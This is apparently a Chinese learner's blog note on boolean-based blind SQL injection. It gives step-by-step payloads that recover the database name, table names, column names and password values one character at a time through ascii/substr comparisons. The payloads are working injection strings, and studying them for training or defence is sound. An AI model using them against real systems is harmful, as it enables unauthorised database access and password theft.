前不久又學習了sql注入的布爾盲注,現在總結一下。
布爾盲注的前提:沒有顯示位,沒有sql語句執行錯誤的信息(和聯合查詢就不同了)。只能通過頁面返回正常不正常來判斷是否存在注入。
1.當然第一步還是判斷閉合符號,這是基礎。這都搞不了,下面就無法進行了。
2.第二部就是判斷數據庫的長度。
我們需要知道這一函數 1’ and (length(database())=8)–+,通過它來判斷數據庫的長度,當然=可以換成 >,< ,但是無論怎麼換我們都是要縮小數據庫長度的範圍,最終確定數據庫的長度。
上面輸入8,頁面返回正常;然而輸入9就出現異常。從而就可以判斷出數據庫名稱的長度爲8。
3.判斷數據庫名。
我們要使用 1’ and (ascii(substr(database(),1,1))>97)–+,來一一判斷數據庫的ascii值。最終得到數據庫的名稱。
在上面輸入114發現頁面正常,115卻頁面不正常,從而判斷出數據庫第一個的開頭的ascii值爲115,也就是s。
我們需要了解相關的函數:
length()返回字符串的長度
substr()截取字符串的字符
database(),返回當前數據庫名
第一個1,表示截取字符串的起始位置。 第二個1,表示截取字符串長度 語句作用:判斷第一個庫第一個字符是什麼
ascii()將字符串轉換成其ASCII碼
把第一個1換成2,就會出現第二個字符的值。以此輪迴,最終就會確定數據庫的名稱。
4.爆出表名。
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+
同樣也是通過ascii來一一判斷出表名。通過修改 limit 0,1 來獲取其他表名。
5.曝出列名。
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+
也是修改limit後面的值來爆出列名。
6.爆值。
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+
同上。
這個過程是非常漫長的。我們也有其他的方法進行盲注。用python腳本,和burp更加簡單。
大佬博客burp進行盲注
布爾盲注
小白持續更新中!!!